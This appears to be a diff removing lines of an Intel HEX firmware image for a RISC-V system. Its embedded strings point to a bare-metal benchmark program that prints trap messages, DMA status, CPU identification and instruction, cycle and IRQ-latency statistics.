-:10322000F5049307800263F8B7088D81B3846503C2
-:10323000D2864A85B305990033869500D93D3386F9
-:103240009D00EE85D2862A8433859D40D935AA8D8E
-:10325000139514003385AB405E86D286B305950086
-:103260004D3D2A86EE85D28622856535AA8D6397E7
-:10327000090403A60D00832609002320C90023A00A
-:10328000DD006A8CDE84EA8D014463E48B07CA8525
-:103290006285029A634AA00609ED63970902032634
-:1032A0000C0083A60D0023A0CD002320DC00DA9DB6
-:1032B00005445A9CD9BF5E864A846DB7CE865A862D
-:1032C000EE854A85313575BFCE865A86E2856E8594
-:1032D0000135F1BF01ED63930902904083A60B0015
-:1032E00023A0CB0094C0B38464410544B24B63FD7A
-:1032F0008B012DECE3709DED6A84ADA0CE865A86DD
-:10330000A6855E85F133C5B7CA855E85029AB38707
-:103310006B413EC6E35005FC63880900CE865A86A1
-:10332000DE856285753309A803A60B0083260C0091
-:103330002320CC0023A0DB00B24B9DBFCE865A8653
-:10334000A6852285713331A8B3046441A285268500
-:10335000029A635BA000E39309FE9440184014C0F6
-:1033600098C02684E36289FE5A9D69B7330DBC413B
-:1033700033862D416353CD006A8611C6CE86B305D0
-:10338000CC404A85B13333869C40B38B74413306BD
-:10339000664163F3CB005E8611C6CE86B385CC4012
-:1033A00062853D33EA8433857C4163777D014A87BA
-:1033B000DE842A89EA8B3A8563737B059D47B3D502
-:1033C0006B0363EF570113973A009C083E97232045
-:1033D00027FD850AB3D46403232297FC2A89C1B34D
-:1033E000D2865A865133636E9B00FD1A13973A00BA
-:1033F0009C083E97032507FC832547FCC5B7E37B64
-:103400009BDAB3D564034A85D1BF35713ECBB7078C
-:10341000008093C7F7FF3ECE3EC8C17732C536C79E
-:103420002AC42ACC9387872034012E8603A5C18025
-:103430002C0086DE3ECA3AC942CD46CF36C2EF00E6
-:10344000F029A24723800700F6500D6182800346D1
-:10345000050083C60500050585056313D60065FADA
-:103460003305D6408280AA8703C7050085078505F6
-:10347000A38FE7FE75FB8280AA8703C70700850735
-:103480006DFF3385A7407D158280AA8709CA03C7CF
-:10349000050085058507A38FE7FE7D1665FB3E9633
-:1034A0006393C70082808507A38F07FED5BFAA95C7
-:1034B000AA876385B70003C7070001E73385A740E4
-:1034C00082808507FDB78DE16F106044930715007A
-:1034D000AA84A2853E85EF1080436DF9B240224454
-:1034E0002685924441018280411122C426C206C62B
-:1034F000AA872E848144F1BF011126CA83A4C1800A
-:10350000BC4C22CC06CE2A84B1EF130500052EC692
-:10351000EF00E075B245A8CC23200500232205006A
-:10352000232405002326050023280500232A05005F
-:10353000232C050023240502232605022328050247
-:10354000232A0502232C0502232E0502232005042D
-:10355000232205042324050423260504230E050045
-:103560002322050222856244B04CF240D2448546B3
-:10357000056109A019E1084239C9AA873E8503C837
-:10358000070085072E878348070005076398080012
-:10359000631008022320060001458280E31518FF0E
-:1035A000F1FE1CC2230005008280814739A889E60C
-:1035B00003C8070085072E87834607000507E31821
-:1035C000D8FEE30408FEA38F07FE1CC2828082801F
-:1035D000797126D24AD056CA5AC85EC6368906D6EE
-:1035E00022D44ECE52CC62C466C2AA8BAE8A328B33
-:1035F000AE84972600009386767F268703C4040056
-:103600008504B307D40083C70700A18BFDF7930798
-:10361000D0026311F40C03C40400054C930427008A
-:1036200063020914C1476312F90293070003631E82
-:10363000F40083C704001307800593F7F70D639D1B
-:10364000E71003C4140041498904935CF9414A8698
-:10365000E6867D55FD55EFF08FDEE6862A8AAE8937
-:103660004A867D55FD55EF101007AA860147014592
-:103670008145A5486548930704FD63E7F8063E8445
-:10368000635424096340070863EEB9066394350167
-:10369000636AAA066317AA006395B9007D5763C7DA
-:1036A00086023387AC02B38725033306A902B3052C
-:1036B000F7000547B337A9023305C400BE959357F9
-:1036C000F441AE9733348500B305F400850403C498
-:1036D000F4FF55B79307B002014CE313F4F403C4AD
-:1036E0000400930427002DBF9307F4FB6365F800E3
-:1036F000130494FC71B79307F4F96367F80013049B
-:1037000094FABDBF7D57D9B76357070293072002CC
-:1037100023A0FB007D55FD55631B0B02B2502254C4
-:1037200092540259F249624AD24A424BB24B224C5D
-:10373000924C4561828063090C00B337A000B30549
-:10374000B0409D8D3305A040E30A0BFC19C3938A5A
-:10375000F4FF23205B01D9B713040003E31709EE3C
-:103760002149E5B593070003E305F4EC2949F1BDD0
-:10377000B2862E86AA8503A5C18099BD2A8E2E8782
-:1037800097280000938898663A88834707000507C2
-:10379000338517010345050021897DF51305D00206
-:1037A000639CA70683470700854E13072800E1CADC
-:1037B00041456392A60213050003639EA700834759
-:1037C00007001305800593F7F70D6395A70A834754
-:1037D0001700C14609077D58335FD802814801456B
-:1037E000A542E54F3373D802138807FD63E0020555
-:1037F000C28763DDD70463C90804FD58636AAF005C
-:103800006314AF006346F30085483385A6023E95F6
-:1038100005078347F7FFC9BF1305B002814EE39840
-:10382000A7F8834707001307280051B71388F7FB51
-:1038300063E50F01938797FC6DBF1388F7F963E782
-:103840000F01938797FA75B7FD58D9B763D9080068
-:10385000930720022320FE007D5509EA82806384BD
-:103860000E003305A04015C2638408009305F7FFDE
-:103870000CC2828093070003B9FEA146A9BF1305BD
-:103880000003E38EA7F2A946B9B78280B2862E86DE
-:10389000AA8503A5C180DDB56FF02FAB397132D495
-:1038A00036D63EDAB2863C102E86AA8503A5C180A4
-:1038B00006CE3AD842DC46DE3EC6EF009071F240BA
-:1038C00021618280B2862E86AA8503A5C1806F0001
-:1038D0001073B2862E86AA8503A5C18009A0411166
-:1038E00022C42A842E85B285368623A2018206C68A
-:1038F000EFF00FADFD576316F50083A7418291C32A
-:103900001CC0B240224441018280AA881385818173
-:103910001C4181EF1387C1A718C113050000BA87A6
-:1039200009C51C412324F708BA87D8437D487D5533
-:103930006346E804638D080203A88708630008044F
-:1039400013152700429510C10323081005463316AE
-:10395000E6003363C300232068102320D50889467E
-:103960006397D80083264810558E2322C8109306EB
-:1039700017000A07D4C3BA978CC7014582807971B2
-:1039800056CA5AC85EC662C406D622D426D24AD0C7
-:103990004ECE52CC66C22A8BAE8A938B8181054C67
-:1039A00083A40B0081CCC04083A984081309F4FFD1
-:1039B0000A04338A89002694635F0900B2502254B6
-:1039C00092540259F249624AD24A424BB24B224CBB
-:1039D000924C45618280638C0A00639609007D19D0
-:1039E000711A7114D1BF8327CA07E39A57FFD840D1
-:1039F0005C407D176318270323A22401EDD383AC19
-:103A000044006388090083A6091033172C01F98E3E
-:103A100089EE8297D84083A70B00E31397F9E380E0
-:103A2000F4FCBDBF23220400D1BF83A64910832527
-:103A3000CAFF758F01E75A858297E9BF2E85829765
-:103A4000D1BF411122C406C62A842316B50023170C
-:103A5000C50023200500232205002324050023227E
-:103A6000050623280500232A0500232C05002146EE
-:103A700081451305C505EFF0EFE097170000938728
-:103A800087DD5CD0971700009387E7DF1CD497177A
-:103A90000000938747E45CD497170000938707E7FB
-:103AA000B24000D01CD8224441018280971500000A
-:103AB0009385851B81AA411126C213068006938433
-:103AC000F5FFB384C4024AC02E8922C406C693857A
-:103AD000440799242A8401CD2320050023222501AF
-:103AE000310508C4138684068145EFF0AFD9B24092
-:103AF0002285224492440249410182801C4DBDE34B
-:103B0000411122C406C697070000938767FA1CD5A7
-:103B100023240504232605042328050497A7C05F52
-:103B200083A747D52A846314F50085471CCD2285D9
-:103B30001D2848C02285052808C422852D2048C498
-:103B4000484001469145F53D08440546A545D53D0B
-:103B500048440946C945F5358547B2401CCC224446
-:103B6000410182808280411126C297A4C05F83A454
-:103B700064D09C4C4AC006C622C42A8999E3268593
-:103B8000B53F938484048044DC40FD1763D607006E
-:103B90009C40B9CF8440C5BF0317C40039E7C17743
-:103BA0008507232204062320040023220400232463
-:103BB00004005CC423280400232A0400232C0400EE
-:103BC000214681451305C405EFF0CFCB232A04021B
-:103BD000232C04022324040423260404B240228557
-:103BE000224492440249410182801304840671BF39
-:103BF00091454A85C93588C02A8449FDB1472320AB
-:103C0000F900E9BF797122D44AD04ECE52CC5AC8BD
-:103C10005EC606D626D256CA2A892E8A1304850481
-:103C20008149054BFD5B0444832A4400FD1A63D09F
-:103C30000A0200406DF8B250225492540259624A6E
-:103C4000D24A424BB24B4E85F2494561828083D7BE
-:103C5000C400637BFB008397E40063877701A6853C
-:103C60004A85029AB3E9A90093848406C1B7AA855C
-:103C700003A5C18055A0C5C183A7C5FF011122CCF2
-:103C800006CE1384C5FF63D307003E942AC6EF1007
-:103C9000A0171387C1811C43324589EB23220400FE
-:103CA00000C36244F24005616F102016637DF4008A
-:103CB0001040B306C4006396D7009443DC43B29629
-:103CC00014C05CC0F1BF3E87DC4399C3E37DF4FEC2
-:103CD00014433306D700631F86001040B29614C306
-:103CE0003306D700E39FC7FA9043DC43B29614C370
-:103CF0005CC345BF6375C400B1471CC15DB71040CC
-:103D0000B306C4006396D7009443DC43B29614C054
-:103D10005CC040C379B78280011126CA9384350004
-:103D2000F1984AC806CE22CC4EC6A104B1472A89D2
-:103D300063F4F404B14463E3B4044A85EF10C00CA7
-:103D40009386C18198423A8429E4138401821C40FD
-:103D500091E781454A85EF00502D08C0A6854A8528
-:103D6000EF00B02CFD59631A3507B1472320F90045
-:103D70004A85EF10800931A0E3DF04FAB147232020
-:103D8000F9000145F2406244D2444249B24905611A
-:103D900082801C40858F63CF07022D466376F60034
-:103DA0001CC03E9404C029A05C40631387029CC2DF
-:103DB0004A85EF1080051305B4009307440061990C
-:103DC0003307F540E300F5FC3A94898F1CC05DBFD2
-:103DD0005CC3F9BF2287404085BF1304350071984A
-:103DE000E30285FCB305A4404A85EF001024E31BE1
-:103DF00035FBA5BF01114AC803A9850022CC4EC6D8
-:103E000052C406CE26CA56C25AC02E84328AB689F9
-:103E100063ED260983D7C50013F7074849C7044057
-:103E20008C4958482A8BB38AB4408D44B384E40249
-:103E30000947B3C4E40213871600569763F3E400FE
-:103E4000BA8493F70740C9C3A6855A85F1352A89F4
-:103E50000DE5B1472320FB008357C4007D5593E750
-:103E600007042316F400F2406244D2444249B249A6
-:103E7000224A924A024B056182800C485686EFF036
-:103E8000AF9C8357C40093F7F7B793E7070823164F
-:103E9000F4002328240144C85699B38454412320B4
-:103EA000240104C44E8963F329014E8908404A86DF
-:103EB000D285EFF0CF9A1C440145B38727411CC43B
-:103EC0001C40CA971CC045B726865A85EF0010745F
-:103ED0002A8961F10C485A85793BA5BF83D7C50073
-:103EE000357122CD26CB4AC952C506CF4EC756C31F
-:103EF0005AC1DEDEE2DCE6DA93F707082A8A2E8969
-:103F0000B2843684A1C39C4995EF930500042935FA
-:103F10002320A9002328A90015E1B1472320FA0096
-:103F20007D55FA406A44DA444A49BA492A4A9A4ACB
-:103F30000A4BF65B665CD65C0D61828093070004D9
-:103F4000232AF90093070002A304F1029307000358
-:103F500002D22305F10222C6930B5002972A0000D9
-:103F6000938A0AFF054C294B26848347040099C392
-:103F7000639C7709B30C9440630D9400E686268613
-:103F8000CA855285853DFD576302F51A9257E6971B
-:103F90003ED283470400638B0718FD579304140037
-:103FA00002C802CE3ECA02CCA309010482D483C552
-:103FB000040015465685EF009063C2471384140031
-:103FC00031E513F7070109C713070002A309E1044C
-:103FD00013F7870009C71307B002A309E10483C6DA
-:103FE00004001307A002638BE602F2472684814691
-:103FF00025460347040093051400130707FD637467
-:10400000E6068DC63ECE1DA0050485B73305554195
-:104010003315AC00C98F3EC8A28451BF3247930606
-:104020004700184336C6634907023ACE03470400E7
-:104030009307E002631FF704034714009307A002ED
-:10404000631BF702B2470904138747009C433AC633
-:1040500063C107023ECA35A83307E04093E7270053
-:104060003ACE3EC8E1B7B38767032E848546BA9738
-:1040700049B7FD57C5B7050402CA814681472546A1
-:104080000347040093051400130707FD6376E60653
-:10409000F1F2834504000D46172500001305C5EB1A
-:1040A000EF00F05411CD972700009387E7EA1D8DAC
-:1040B00093070004B397A700424505045D8D2AC805
-:1040C00083450400194617250000130525E99304CC
-:1040D00014002304B102EF00905135C19307000092
-:1040E00095E74247B2471377071009CF91073EC6BD
-:1040F0009257CE973ED28DBDB38767032E848546F7
-:10410000BA97BDBF9D07E19BA107D5B77800970679
-:104110000000938666CE4A860C0852859700000000
-:10412000E7000000FD57AA89E314F5FC8357C90096
-:104130007D5593F70704E39607DE1255DDB378004B
-:1041400097060000938646CB4A860C085285012AC2
-:10415000D1BF797152CC9C493A8A984522D426D253
-:104160004ECE56CA06D64AD05AC85EC6AA892E84F2
-:10417000B284B68A63D3E700BA879CC0034734048D
-:1041800019C385079CC01C4093F7070281C79C4058
-:1041900089079CC00329040013796900631A090088
-:1041A000130B9401FD5B5C449840998F634CF904B8
-:1041B00083473404B336F0001C4093F70702A5EBA5
-:1041C00013063404D6854E85029AFD576303F50421
-:1041D0001C4011469840998B544481446397C70012
-:1041E000B384E64063D3040081441C4418486354FC
-:1041F000F700998FBE94014969047D5B639824059B
-:10420000014509A885465A86D6854E85029A631EC1
-:1042100075017D55B250225492540259F249624AB6
-:10422000D24A424BB24B456182800509ADBF33078C
-:10423000D40013060003A301C70403475404938763
-:104240001600A2978906A381E7049DBF85462286B2
-:10425000D6854E85029AE30E65FB050945B779714F
-:1042600022D426D24AD04ECE06D652CC56CA5AC8EE
-:1042700003C8850193078007AA842E843289B689F2
-:1042800063EE0701930720069386350463ED07016B
-:104290006305081C93078005630AF812930A240437
-:1042A0002301040515A89307D8F993F7F70F55468E
-:1042B000E366F6FE17260000130646CD8A07B2977E
-:1042C0009C43B29782871C43938A250493864700B8
-:1042D0009C4314C32381F504854765A29C41084390
-:1042E00013F60708930545000DC21C410CC363D8A3
-:1042F00007001307D002B307F040A301E404172618
-:104300000000130626C62948A1A013F607041C4185
-:104310000CC371DEC207C187D9BF90411C4313751E
-:1043200006089385470001C50CC39C4339A013764A
-:1043300006040CC37DDA83D707001307F00617269F
-:104340000000130626C26304E80E2948A3010404F2
-:10435000584018C4634507000C40ED990CC099E320
-:10436000B68A19CFB68A33F70703FD1A3297034787
-:1043700007002380EA003E87B3D70703E37507FFF2
-:10438000A147631EF8001C40858B91CB58401C4808
-:1043900063C7E70093070003A38FFAFEFD1AB386F5
-:1043A000564114C84E87CA867000A28526855533AB
-:1043B0007D5A631C450D7D55B250225492540259CA
-:1043C000F249624AD24A424B45618280A382050586
-:1043D00017260000130606B90C40084313F8050819
-:1043E0001C411105630D080208C313F7150001C72E
-:1043F00093E505020CC04148B1FB18401377F7FD67
-:1044000018C0A9B79C4193E707029CC19307800796
-:10441000A302F40417260000130606B675BF13F8AE
-:10442000050408C3E30308FCC207C1837DBF21481C
-:1044300031BF90411C43CC491378060813854700CF
-:104440006306080008C39C438CC301A808C3137605
-:1044500006049C4375DA2390B70023280400B68A2B
-:1044600091B71C43D04181459386470014C383AA6A
-:1044700007005685EF00B01701C53305554148C008
-:104480005C401CC8A301040431BF14485686CA8589
-:1044900026858299E30145F31C40898B8DE7B2475D
-:1044A0004844E35BF5F03E8501BF85465686CA85E4
-:1044B00026858299E30165F1050A5C443247998FAC
-:1044C000E345FAFEE9BF014A930A94017D5BF5B723
-:1044D0001C46FD171CC663D90700184E63C5E700CC
-:1044E000A9476393F50089A11C422E851387170005
-:1044F00018C22380B7008280011122CC26CA4AC884
-:104500004EC652C406CE2A89AE893284B304D60080
-:104510007D5A63149400014509A8834504004E8622
-:104520004A857D370504E31645FFF2406244D244D4
-:104530004249B249224A05618280357122CD26CB9B
-:104540004AC94EC706CF52C556C35AC1DEDEE2DCA9
-:10455000E6DAAA89AE843289368409C51C4D99E30E
-:10456000EFF0CFD9972700009387879A639CF40CCC
-:1045700083A4490083D7C400A18BFDC79C48EDC725
-:1045800093070002A304F1029307000302D223055C
-:10459000F10222C6930B5002972A0000938A4A9B8D
-:1045A000054C294B4A848347040099C36390770FD5
-:1045B000B30C2441630D2401E6864A86A6854E8508
-:1045C000253FFD576304F51E9257E6973ED2834779
-:1045D0000400638D071CFD571309140002C802CEA6
-:1045E0003ECA02CCA309010482D4834509001546C2
-:1045F0005685EF00C07FC2471304190051E913F735
-:10460000070109C713070002A309E10413F7870094
-:1046100009C71307B002A309E10483460900130781
-:10462000A002638FE606F2474A8481462546034787
-:10463000040093051400130707FD6378E60AADCA6A
-:104640003ECEBDA0972700009387878E6395F40028
-:1046500083A4890005B79727000093876789E39BA8
-:10466000F4F083A4C90039B7A6854E85BD2E09D9BB
-:104670007D55FA406A44DA444A49BA492A4A9A4A74
-:104680000A4BF65B665CD65C0D618280050421BF37
-:10469000330555413315AC00C98F3EC82289B1B7E7
-:1046A000324793064700184336C6634907023ACE9D
-:1046B000034704009307E002631FF7040347140055
-:1046C0009307A002631BF702B24709041387470050
-:1046D0009C433AC663C107023ECA35A83307E0408F
-:1046E00093E727003ACE3EC8E1B7B38767032E842D
-:1046F0008546BA972DBFFD57C5B7050402CA814646
-:10470000814725460347040093051400130707FD5E
-:104710006374E606F1F2834504000D461725000098
-:1047200013058583E92511CD972700009387C7825C
-:104730001D8D93070004B397A700424505045D8DC6
-:104740002AC8834504001946172500001305058172
-:10475000130914002304B102592D2DC19307000041
-:1047600095E74247B2471377071009CF91073EC636
-:104770009257D2973ED23DB5B38767032E848546C4
-:10478000BA9749B79D07E19BA107D5B7780097066F
-:1047900000009386A6D626860C084E85970000005A
-:1047A000E7000000FD572A8AE314F5FC83D7C40014
-:1047B00093F70704E39E07EA125565BD7800970654
-:1047C00000009386A6D326860C084E85EFF03FA9FD
-:1047D000D1BF411122C42A842E85B285368623A2F8
-:1047E000018206C6EFE00FB7FD576316F50083A7F9
-:1047F000418291C31CC0B2402244410182804111D8
-:1048000022C42A842E85B285368623A2018206C65A
-:10481000EFE04FB7FD576316F50083A7418291C3C0
-:104820001CC0B240224441018280411122C42A842A
-:104830002E8523A2018206C6EFE00FAFFD57631657
-:10484000F50083A7418291C31CC0B24022444101BC
-:104850008280411122C42E848395E50006C6453727
-:10486000634905007C48AA977CC8B24022444101B4
-:1048700082808357C4007D777D17F98F2316F4005B
-:10488000EDB783D7C500011122CC26CA4AC84EC64F
-:1048900006CE93F70710AA842E843289B68991C771
-:1048A0008395E500894601460D218357C4007D7735
-:1048B0007D17F98F8315E4002316F4006244F2405B
-:1048C000CE864A86B24942492685D24405616FF0B8
-:1048D0000F81411122C42E848395E50006C6F5267A
-:1048E000FD570357C400631BF500FD77FD17F98FD3
-:1048F0002316F400B2402244410182808567D98F9B
-:104900002316F40068C8FDB78395E500E5A293F58A
-:10491000F50F8347050091C76393B70082800505B3
-:10492000CDBF91C101458280011122CC26CA4AC85F
-:1049300006CE4EC6AA842E89328409C51C4D99E341
-:10494000EFF0CF9B971700009387875C6319F406FD
-:10495000C0401C4C1CC48357C400A18BC9C31C4855
-:10496000BDCF1C4808409379F90F1379F90F1D8DBD
-:104970005C486346F500A2852685ED242DE51C44A0
-:104980000505FD171CC41C401387170018C02380A1
-:1049900037015C486389A7008357C400858B81CBAE
-:1049A000A9476316F900A28526856D2C0DEDF2400E
-:1049B0006244D244B2494A854249056182809717D0
-:1049C00000009387E7566314F400804459B79717A3
-:1049D00000009387E751E31EF4F6C0449DBFA28513
-:1049E000268521203DDD7D59D9B7411122C426C23B
-:1049F0004AC006C683A4C1802A892E8491C49C4CD7
-:104A000081E72685EFF08F8F971700009387475037
-:104A10006317F402C0408317C4001397070193F68D
-:104A200087004183B5EA9376070195EA254723205D
-:104A3000E90093E707042316F4007D5579A897173A
-:104A400000009387E74E6314F4008044E9B797179A
-:104A500000009387E749E310F4FCC0446DBF118B5D
-:104A600015C74C5891C9930744046385F5004A85DE
-:104A7000EFF06FA0232A04028357C400232204000E
-:104A800093F7B7FD2316F4001C481CC08357C400DD
-:104A900093E787002316F4001C4881EF8357C40076
-:104AA0001307002093F707286385E700A2854A854E
-:104AB00045248317C4001397070193F61700418319
-:104AC0009DC2544823240400B306D04014CC14489B
-:104AD000014581E61377070829FFB240224492443A
-:104AE00002494101828093762700014691E25048B5
-:104AF00010C4F1BF411122C42A842E8523A2018251
-:104B000006C6EFE0AF81FD576316F50083A741822B
-:104B100091C31CC0B24022444101828083D7C500AA
-:104B2000011122CC26CA06CE4AC84EC613F787000A
-:104B3000AA842E847DE3D8416347E000B8416344F2
-:104B4000E00001457DA858546DDF856603A9040087
-:104B5000F58F23A00400ADCF68488357C400918B24
-:104B600099C75C401D8D5C5899C33C401D8D5C54B9
-:104B70000C502A86814626858297FD570357C4002C
-:104B8000631DF5009440F54763E4D708B70740205C
-:104B90008507B3D7D700858BA5CF1C4823220400F7
-:104BA0001CC085677D8F19C7FD576314F5009C40B5
-:104BB00091E368C84C5823A02401C1D5930744044D
-:104BC0006385F5002685EFF00F8B232A040295BF3D
-:104BD0000C508546014626850297FD57E31FF5F6E2
-:104BE0009C40A5DF75476385E70059476395E7005B
-:104BF00023A02401B9B78357C40093E70704231601
-:104C0000F400F2406244D2444249B24905618280D4
-:104C1000136707042316E400EDB783A90501E382B7
-:104C200009F203A905008D8B23A035013309394111
-:104C3000014791E3D84918C4E35520F11C540C50A6
-:104C4000CA864E8626858297634AA0008357C40091
-:104C50007D5593E707042316F40065B7AA99330935
-:104C6000A940D9BF9C49A5C3011122CC06CE2A84F4
-:104C700019C51C4D89E72EC6EFE05FE8B2459717CE
-:104C800000009387E728639BF5004C408397C5009D
-:104C900095C722856244F240056149B59717000027
-:104CA000938707296394F5000C44CDB7971700004C
-:104CB00093870724E39CF5FC4C44C9BFF24062444F
-:104CC00001450561828001458280411122C42A8408
-:104CD0002E85B285368623A2018206C6EFD05FE715
-:104CE000FD576316F50083A7418291C31CC0B240F3
-:104CF0002244410182805971CAD02E898395E500F2
-:104D0000A2D4A6D286D63284B68463DC050083178B
-:104D1000C90023A0040093F707088DE39307004020
-:104D200005A03000B122E34405FE3247BD67F98F8C
-:104D30007977BA9793B717009CC0CDB79307000453
-:104D4000B6501CC0265496540659014565618280B0
-:104D500083D7C500011122CC06CE26CA4AC8898B4A
-:104D60002E8489CF930774041CC01CC885475CC877
-:104D7000F2406244D24442490561828074003000AE
-:104D80002A89953FA245AA844A85EFE0FFF801ED04
-:104D90008317C40013F7072061FFF19B93E72700F7
-:104DA0002316F400C1B797F7FFFF938767D023243A
-:104DB000F9028357C40008C008C893E70708231600
-:104DC000F400A2475CC8B24789CF8315E4004A8546
-:104DD000E92001C98357C400F19B93E7170023160C
-:104DE000F4000355C400C98C2316940051B793F501
-:104DF000F50F2A966314C50001458280834705009C
-:104E0000E38DB7FE0505FDB782808280011122CCBB
-:104E100006CE26CA4AC84EC6328491E96244F240A0
-:104E2000D2444249B249B28505616FE0FFEE01EE1E
-:104E3000EFE07FE48144F24062444249B249268572
-:104E4000D244056182802E89AA89A528CA84E37488
-:104E500085FEA2854E85EFE03FECAA8469DDCA8518
-:104E60002286EFE06F9ECA854E85EFE0DFE0E1B776
-:104E7000411122C42A842E85B28523A2018206C64E
-:104E8000EFD01FCAFD576316F50083A7418291C377
-:104E90001CC0B240224441018280411122C42A84B4
-:104EA0002E8523A2018206C6EFD03FCAFD576316A6
-:104EB000F50083A7418291C31CC0B2402244410146
-:104EC000828083A7C5FF1385C7FF63D50700AA9516
-:104ED0009C413E9582802A833288B6872E876395CF
-:104EE000061C97160000938666E063F6C50AC16843
-:104EF000637C16099308F00F63F3C800A147B35809
-:104F0000F600C69683C60600B69793060002B388DD
-:104F1000F640638CF600B3951501B357F3003318D0
-:104F2000160133E7B7003315130193550801B37722
-:104F3000B702131608014182935605013357B70291
-:104F4000C207DD8E3307E60263F8E600C29663E52A
-:104F5000060163F3E600C296998EB3F7B6024205E6
-:104F60004181B3D6B602C2075D8DB306D60263781F
-:104F7000D5004295636505016373D5004295158D93
-:104F80003355150181458280B7080001C147E368A8
-:104F900016F7E147ADB701E605473358C702416749
-:104FA0006373E8081307F00F63730701A1473357D2
-:104FB000F800BA9603C606003E9693070002B3882F
-:104FC000C7406399C706B3850541935608019317F7
-:104FD0000801C1831356050133F7D502B3D5D502B5
-:104FE0004207518FB385B7026378B7004297636574
-:104FF00007016373B7004297B305B74033F7D50293
-:1050000042054181B3D5D502B385B7029317070195
-:105010005D8D6378B5004295636505016373B500E6
-:1050200042950D8DB1BF37070001C147E361E8F834
-:10503000E147B5BF33181801B3D6C500935708012F
-:1050400033F7F602B39515013356C3004D8E931511
-:105050000801C1813315130113530601B3D6F602BB
-:10506000420733676700B386D5026378D70042975B
-:10507000636507016373D7004297B306D74033F7E0
-:10508000F60242064182B3D6F6024207B386D50243
-:10509000B365C70063F8D500C29563E5050163F306
-:1050A000D500C295958D15B7E3EFD5ECC16763F4D4
-:1050B000F6049308F00FB3B7D8008E07B3D8F60004
-:1050C00017180000130888C2469883480800BE9845
-:1050D00093070002338817416396170363E4B60011
-:1050E0006369C3003305C340958D3337A30033870D
-:1050F000E540BA8549BD37080001C147E3E006FD38
-:10510000E1476DBFB3571601B396060133EED700E2
-:1051100033D71501135F0E01B31E06013376E70383
-:10512000B3950501B3571301CD8F93150E01C181BE
-:105130003315030193D607013357E7034206D18E97
-:105140003383E5023A8663FC6600F2961306F7FFA6
-:1051500063E7C60163F566001306E7FFF296B386C0
-:10516000664033F3E603B3D6E60342033387D50242
-:1051700093950701C181B365B300B68763FCE50071
-:10518000F2959387F6FF63E7C50163F5E500938722
-:10519000E6FFF2954206416F5D8E9306FFFF337383
-:1051A000D600998D418213D70E01B3F6DE00B30706
-:1051B000D302B306D6023303E3023306E602369384
-:1051C00013D707011A976373D7007A96935607018E
-:1051D000B29641667D16718F4207F18FBA9763E6EA
-:1051E000D500639BD5006379F5003386D741B3B70B
-:1051F000C700F2979D8EB287B307F5403335F500AF
-:10520000958D898DB398150133D5070133E5A80035
-:08521000B3D505018DBB01A01F
-:10521800496E737472756374696F6E206164647229
-:10522800657373206D697373616C69676E6564205B
-:105238003A20307825303878203078253038782072
-:10524800307825303878200A00000000496E7374E1
-:1052580072756374696F6E2061636365737320662A
-:1052680061756C74203A2030782530387820307891
-:105278002530387820307825303878200A0000002A
-:10528800496C6C6567616C20696E737472756374C0
-:10529800696F6E203A2030782530387820307825AC
-:1052A80030387820307825303878200A000000001F
-:1052B800427265616B706F696E74203A2030782590
-:1052C80030387820307825303878203078253038D4
-:1052D80078200A004C6F616420616464726573739E
-:1052E800206D697373616C69676E6564203A20305C
-:1052F800782530387820307825303878203078256F
-:10530800303878200A0000004C6F616420616363C4
-:10531800657373206661756C74203A203078253087
-:10532800387820307825303878203078253038782B
-:10533800200A000053746F72652F414D4F2061643D
-:105348006472657373206D697373616C69676E65E8
-:1053580064203A2030782530387820307825303865
-:105368007820307825303878200A000053746F721E
-:105378006520616363657373206661756C74203A98
-:10538800203078253038782030782530387820302B
-:105398007825303878200A00456E7669726F6E6D10
-:1053A800656E742063616C6C2066726F6D20552D7C
-:1053B8006D6F6465203A2030782530387820307851
-:1053C8002530387820307825303878200A000000D9
-:1053D800456E7669726F6E6D656E742063616C6C74
-:1053E8002066726F6D20532D6D6F6465203A2030F2
-:1053F800782530387820307825303878203078256E
-:10540800303878200A000000456E7669726F6E6D3C
-:10541800656E742063616C6C2066726F6D204D2D13
-:105428006D6F6465203A20307825303878203078E0
-:105438002530387820307825303878200A00000068
-:105448001B371B5B324B00000D444D4120747261C9
-:105458006E7366657220636F6D706C657465200A83
-:1054680000000000736F75726365203A203078255C
-:10547800303878200A000000646573742020203AD0
-:1054880020307825303878200A00000073697A6562
-:105498002020203A20307825303878200A00000073
-:1054A8001B381B5B344200000D4D616368696E65F3
-:1054B8002074696D657220696E7465727275707496
-:1054C800203A2030782530387820307825303878E0
-:1054D80020307825303878200A0000000A5A322017
-:1054E8003E202573000000001B381B5B3242000081
-:1054F800457863657074696F6E203A20307825307E
-:105508003878203078253038782030782530387849
-:10551800200A0000507265737320616E79206B65F4
-:105528007920746F2072657374617274200A0000A8
-:1055380014C5FFFF46C5FFFF54C5FFFF62C5FFFF47
-:1055480070C5FFFFBCC5FFFFD0C5FFFFF4C5FFFF57
-:1055580002C6FFFF10C6FFFF06C5FFFF1EC6FFFFFE
-:105568004D616368696E65204953412020203A20C7
-:105578003078253038782052562564202573200A43
-:105588000000000056656E646F72202020202020E5
-:1055980020203A20307825303878202573200A00DA
-:1055A80041726368697465637475726520203A2076
-:1055B800307825303878202573200A00496D706CC2
-:1055C800656D656E746174696F6E3A203078253048
-:1055D8003878200A0000000048617274206964204D
-:1055E8002020202020203A203078253178200A00F9
-:1055F80043505520636C6F636B20202020203A2095
-:105608002564204D487A200A0000000052544320A7
-:10561800636C6F636B20202020203A202564204B88
-:10562800487A200A00000000256C7500252A6420AD
-:10563800696E73747220252A64206379636C6573BC
-:1056480020252A64207573200A0000002D2D2D2D99
-:105658002D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D72
-:105668002D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D62
-:105678002D2D2D2D2D0A0000696E73747273206D07
-:10568800696E2F6D65642F6D6178203D2025642F2C
-:1056980025642F2564200A006379636C6573206D87
-:1056A800696E2F6D65642F6D6178203D2025642F0C
-:1056B80025642F2564200A0074696D652020206DFB
-:1056C800696E2F6D65642F6D6178203D2025642FEC
-:1056D80025642F2564207573200A00004B65726EBF
-:1056E800656C2074696D650A00000000696E73744A
-:1056F8007273206D696E2F6D6178203D20256C7561
-:105708002F256C75200A00006379636C6573206D22
-:10571800696E2F6D6178203D20256C752F256C757D
-:10572800200A000074696D652020206D696E2F6D58
-:105738006178203D20256C752F256C752075730ABE
-:1057480000000000495251206C6174656E63790A4B
-:1057580000000000696E73747273206D696E2F6D9E
-:105768006178203D2025642F2564200A0000000070
-:105778006379636C6573206D696E2F6D6178203D68
-:105788002025642F2564200A0000000074696D65D7
-:105798002020206D696E2F6D6178203D2025642FB3
-:1057A80025642075730A0000544F52004E4134009E
-:1057B8004E41504F54000000307825303878203062
